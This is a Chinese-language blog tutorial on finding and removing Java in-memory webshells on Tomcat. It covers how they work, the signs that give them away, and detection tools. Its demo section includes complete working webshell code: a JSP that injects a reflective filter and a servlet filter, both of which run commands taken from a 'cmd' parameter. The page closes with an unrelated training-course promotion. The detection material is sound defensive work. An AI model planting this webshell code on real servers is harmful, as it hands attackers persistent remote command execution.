内存马检测排查手段
前言
内存马是无文件落地webshell中最常见的攻击手段，随着攻防演练对抗强度越来越高，流量分析、EDR等专业安全设备被蓝方广泛使用，传统的文件上传的webshll以及文件形式的后门容易被检测到，文件shell明显气数已尽，而内存马因其隐蔽性等优点从而越来越盛行。
由客户端发起的Web请求后，中间件的各个独立的组件如Listener、Filter、Servlet等组件会在请求过程中做监听、判断、过滤等操作，内存马就是利用请求过程在内存中修改已有的组件或动态注册一个新的组件，插入恶意的shellcode，达到持久化控制服务器的目的。内存马可以通过访问存在漏洞的url加上命令执行参数，即可让服务器返回结果也可通过webshell管理工具例如：蚁剑、冰蝎、哥斯拉等进行远程连接后攻击目标。
内存马在语言类型上有PHP内存马，Python内存马，而本文主要侧重于“市场占有率”最高的java内存马的检测与查杀，java内存马又主要分为下面这三大类
- servlet-api类
- filter型
- servlet型
- listener型
- spring类
- 拦截器
- controller型
- Java Instrumentation类
- agent型
原理简述
servlet-api类
以filter内存马为例
Tomcat Filter工作流程：
-
根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
-
根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
-
找到对应的 FilterConfig 之后添加到 FilterChain中，并且返回 FilterChain
-
filterChain 中调用 internalDoFilter 遍历获取 chain 中的 FilterConfig ，然后从 FilterConfig 中获取 Filter，然后调用 Filter 的 doFilter 方法
根据上面的流程分析，不难发现最开始是从 context 中获取的 FilterMaps，将符合条件的依次按照顺序进行调用，那么我们可以将自己创建的一个
FilterMap 然后将其放在 FilterMaps 的最前面，这样当 urlpattern 匹配的时候就回去找到对应 FilterName 的
FilterConfig ，然后添加到 FilterChain 中，最终触发内存马。
这类内存马会先创建了一个恶意的servlet，然后获取当前的StandardContext，将恶意servlet封装成wrapper添加到StandardContext的children当中，最后添加ServletMapping将访问的URL和wrapper进行绑定。执行上述代码后，访问当前应用的特定url路径，加上特定的参数就可以命令执行了。
Java-agent类
在 jdk 1.5 之后引入了 java.lang.instrument 包，该包提供了检测 java 程序的
Api，比如用于监控、收集性能信息、诊断问题，Java Agent
能够在不影响正常编译的情况下来修改字节码，即动态修改已加载或者未加载的类，包括类的属性、方法。Agent
内存马的实现就是利用了这一特性使其动态修改特定类的特定方法，将我们的恶意方法添加进去。
通过JVM Instrumentation 去修改一个已经加载的类的字节码，我们可以认为需要两个关键API
- retransformClasses
- redefineClasses
retransform class
可以简单理解为回滚操作，具体回滚到哪个版本，这个需要看情况而定，下面不管那种情况都有一个前提，那就是javaagent已经要求要有retransform的能力了：
如果类是在第一次加载的的时候就做了transform，那么做retransform的时候会将代码回滚到transform之后的代码
如果类是在第一次加载的的时候没有任何变化，那么做retransform的时候会将代码回滚到最原始的类文件里的字节码
如果类已经加载了，期间类可能做过多次redefine(比如被另外一个agent做过)，但是接下来加载一个新的agent要求有retransform的能力了，然后对类做redefine的动作，那么retransform的时候会将代码回滚到上一个agent最后一次做redefine后的字节码。
redefineClasses 对参数代码的类进行重新定义。针对的是已经加载的类。
比如，冰蝎内存马通过修改javax.servlet.http.HttpServlet#service方法，添加自己的内存马逻辑。
冰蝎的添加流程：
- 通过javaassist获取
javax.servlet.http.HttpServlet类的字节码 - 向service方法添加字节码
- 清除javaassist缓存，调用redefineClass重新定义修改后的HttpServlet字节码
这样，http中间件在处理每个http链接的时候，就会调用修改后的httpservlet方法。如果发现处理的url为内存马需要响应的url，则执行webshell处理流程，否则隐藏不执行任何操作。
排查思路
作为应急或者运维人员，当遇到疑似内存马的安全事件时，该如何去快速确认内存马是否存在以及确认内存马的位置呢？大体思路如下
-
先查看检查服务器web日志，查看是否有可疑的web访问日志，比如说filter或者listener类型的内存马，会有大量url请求路径相同参数不同的，或者页面不存在但是返回200的请求。
-
如在web日志中并未发现异常，可以排查是否为中间件漏洞导致代码执行注入内存马，排查中间件的error.log日志查看是否有可疑的报错，根据注入时间和方法根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell，排查框架漏洞，反序列化漏洞。
-
查看是否有类似哥斯拉、冰蝎特征的url请求，哥斯拉和冰蝎的内存马注入流量特征与普通webshell的流量特征基本吻合。
-
通过查找返回200的url路径对比web目录下是否真实存在文件，如不存在大概率为内存马。
内存马特征的识别
依然是以filter内存马举例
- filter特殊名称
内存马的Filter名一般比较特别，随便一点的可能有 shell ， Mem
这种关键词或者随机数随机字母。当然这个特征并不是决定条件，因为讲究一点的攻击者也可以将filter伪装成web应用自带的名称。
- filter优先级
为了确保内存马在各种环境下都可以访问，往往需要把filter匹配优先级调至最高，比如shiro反序列化漏洞。
- web.xml中没有filter配置
内存马的Filter是动态注册的，所以在web.xml中肯定没有配置，如果发现了在web.xml中不存在的filter，那么这个filter就十分可疑了
- 特殊classloader加载
一般来说，正常的Filter都是由中间件的WebappClassLoader加载的。而攻击者利用的getshell攻击链往往具有明显的特征，比如反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个：
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
com.sun.org.apache.bcel.internal.util.ClassLoader
- 对应的classloader路径下没有class文件
所谓内存马就是代码驻留内存中，本地无对应的class文件。所以我们只要检测Filter对应的ClassLoader目录下是否存在class文件。(这也是很多内存马检测脚步实现的原理)
- Filter的doFilter方法中有恶意代码
我们可以把内存中所有的Filter的class
dump出来，使用反编译工具分析看看，是否存在恶意代码，比如调用了：java.lang.Runtime.getRuntime，defineClass，invoke
检测工具
经过许多前辈对于内存马的攻防研究，开源社区中已经有很多优秀的项目能够实现对java内存马自动化检测排查，其中也包括一些本用于开发项目的jvm调试工具，下面一一介绍
一、java-memshell-scanner
这是c0ny1师傅编写的jsp内存马检测脚本
脚本地址https://github.com/c0ny1/java-memshell-scanner
和Filter相关的是filterDefs和filterMaps两个属性。这两个属性分别维护着全局Filter的定义，以及Filter的映射关系。和Servlet相关的是children和servletMappings两个属性。这两个属性分别维护这全家Servlet的定义，以及Servlet的映射关系。
request对象中存储着 StandardContext 对象，而他包含着以上的四个关键属性
request.getSession().getServletContext() {ApplicationContextFacade}
-> context {ApplicationContext}
-> context {StandardContext}
* filterDefs
* filterMaps
* children
* servletMappings
所以只需要通过反射遍历request，最终就可以拿到Filter和Servlet的如下信息：
- Filter/Servlet名
- 匹配路径
- Class名
- ClassLoader
- Class文件存储路径。
- 内存中Class字节码（方便反编译审计其是否存在恶意代码）
- 该Class是否有对应的磁盘文件（判断内存马的重要指标）
该脚本的使用也非常简单，将 java-memshell-scanner 脚本放在能访问的web路径下，然后直接访问就可以获得结果
二、arthas
Arthas
是Alibaba开源的Java诊断工具，不是专门用户内存马的检测，但是由于java内存马相当于利用了jvm的底层特性，所以可以给我们对内存马的排查带来很多便利
项目地址https://github.com/alibaba/arthas
java -jar arthas-boot.jar #启动arthas分析工具
对web项目的jvm进程进行分析
mbean | grep "Servlet" #查看 Mbean 的信息，查看异常Filter/Servlet节点
sc *.Filter #搜索符合pattern的Filter
jad --source-only org.apache.jsp.memshell_jsp #反编译指定类
这里可以看到，反编译输出的结果能很清晰的查看到内存马的恶意语句
三、sa-jdi
sa-jdi.jar 是jdk内自带的jvm调试工具，由于macOS原生不支持这个工具的attach功能，所以切换到windows来做测试
jps -l #查看jvm进程号
在 File - Attach 选项中输入要 attach 的进程号
attach 之后进入 Tools - Class Browser 选项
和arthas一样，也可以对内存中可疑的class进行搜索，比如搜索 shell
查看恶意类的字节码，这里如果想进行进一步的分析，可以使用其他dump，反编译工具来将class文件输出为可读性更好的代码，比如dumpclass工具，jd-
gui反编译工具
四、FindShell
findshell是4ra1n师傅写的一个内存马检测工具，其中对class的dump功能也是调用了上文sa-jdi的接口
项目地址https://github.com/geekmc/FindShell
这里项目内没有提供FindShell的release包，需要自己编译，如果遇到编译不通过，可以在pom.xml里面把报错的依赖项改成绝对路径
java -jar FindShell-1.0.jar --pid 22472 --debug
自动在当前out文件夹下面输出dump下来的可疑字节码
五、copagent
LandGrey师傅写的自动化分析内存马jar包，项目提供了生成好的release包
项目地址https://github.com/LandGrey/copagent
jar包地址https://github.com/LandGrey/copagent/raw/release/cop.jar
copagent借鉴了arthas的设计思路，不过自动化程度更高，在输入jvm进程号后，对可能存在的内存马自动分析，并输出报告
输出结果，可以看到，这里没有增加任何对恶意类的样式筛选，copagent自动分析出了风险程度最高的memshell_jsp类
实例演示
内存马原理演示
用Idea创建tomcat基础web项目
创建MemServlet.java
#MemServlet.java
package org.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/MemServlet")
public class MemServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// super.doGet(req, resp);
resp.getWriter().write("Test Servlet memshell");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// super.doPost(req, resp);
}
}
创建filterDemo
#filterDemo.java
package org.example;
import javax.servlet.*;
import java.io.IOException;
public class filterDemo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始化创建");
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {}
}
在web.xml中注册filter
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filterDemo</filter-name>
<filter-class>org.example.filterDemo</filter-class>
</filter>
<filter-mapping>
<filter-name>filterDemo</filter-name>
<url-pattern>/demo</url-pattern>
</filter-mapping>
</web-app>
运行项目，访问/demo，filter成功运行
创建内存马memshell.jsp，功能是访问之后会自动注入到filterMaps最前面，每次调用filter最先触发内存马
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "cyc1ops";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
访问内存马，显示注入成功
尝试在项目任意路径下添加cmd参数进行命令执行，命令执行成功
内存马查杀演示
用Idea创建一个基础的tomcat web项目，新建一个基本的Servlet
#TestServlet.java
package org.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
@WebServlet("/TestServlet")
public class TestServlet extends HttpServlet{
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// super.doGet(req, resp);
resp.getWriter().write("Test Servlet memshell");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
// super.doPost(req, resp);
}
}
新建一个恶意filter
#cmd_filters.java
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
@WebFilter("/*")
public class cmd_Filters implements Filter {
public void destroy() {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
}
public void init(FilterConfig config) throws ServletException {
}
}
运行项目，访问项目下任意路径，添加cmd参数，命令执行成功
直接把 java-memshell-scanner 脚本放在web目录下，访问
可以看到列表中的恶意filter class文件
此时即使删除class文件，磁盘中已经不存在对应的class文件，脚本仍然可以检测出来，因为是从内存中dump下来的，点击后面的dump选项，可以对恶意样本进行采样
点击列表后的 kill 选项，成功对恶意filter进行注销，销毁内存马
接下来我将给各位同学划分一张学习计划表！
学习计划
那么问题又来了，作为萌新小白，我应该先学什么，再学什么？
既然你都问的这么直白了，我就告诉你，零基础应该从什么开始学起：
阶段一：初级网络安全工程师
接下来我将给大家安排一个为期1个月的网络安全初级计划，当你学完后，你基本可以从事一份网络安全相关的工作，比如渗透测试、Web渗透、安全服务、安全分析等岗位；其中，如果你等保模块学的好，还可以从事等保工程师。
综合薪资区间6k~15k
1、网络安全理论知识（2天）
①了解行业相关背景，前景，确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。（非常重要）
2、渗透测试基础（1周）
①渗透测试的流程、分类、标准
②信息收集技术：主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理，利用方法、工具（MSF）、绕过IDS和反病毒侦察
④主机攻防演练：MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础（1周）
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全（系统入侵排查/系统加固基础）
4、计算机网络基础（1周）
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析（HTTP、TCP/IP、ARP等）
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御：主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作（2天）
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透（1周）
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具：Nmap、BurpSuite、SQLMap、其他（菜刀、漏扫等）
那么，到此为止，已经耗时1个月左右。你已经成功成为了一名“脚本小子”。那么你还想接着往下探索吗？
阶段二：中级or高级网络安全工程师（看自己能力）
综合薪资区间15k~30k
7、脚本编程学习（4周）
在网络安全领域。是否具备编程能力是“脚本小子”和真正网络安全工程师的本质区别。在实际的渗透测试过程中，面对复杂多变的网络环境，当常用工具不能满足实际需求的时候，往往需要对现有工具进行扩展，或者编写符合我们要求的工具、自动化脚本，这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中，想要高效地使用自制的脚本工具来实现各种目的，更是需要拥有编程能力。
零基础入门的同学，我建议选择脚本语言Python/PHP/Go/Java中的一种，对常用库进行编程学习
搭建开发环境和选择IDE，PHP环境推荐Wamp和XAMPP，IDE强烈推荐Sublime；
Python编程学习，学习内容包含：语法、正则、文件、 网络、多线程等常用库，推荐《Python核心编程》，没必要看完
用Python编写漏洞的exp,然后写一个简单的网络爬虫
PHP基本语法学习并书写一个简单的博客系统
熟悉MVC架构，并试着学习一个PHP框架或者Python框架 (可选)
了解Bootstrap的布局或者CSS。
阶段三：顶级网络安全工程师
如果你对网络安全入门感兴趣，那么你需要的话可以点击这里👉网络安全重磅福利：入门&进阶全套282G学习资源包免费分享！
学习资料分享
当然，只给予计划不给予学习资料的行为无异于耍流氓，这里给大家整理了一份【282G】的网络安全工程师从入门到精通的学习资料包，可点击下方二维码链接领取哦。
4592
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
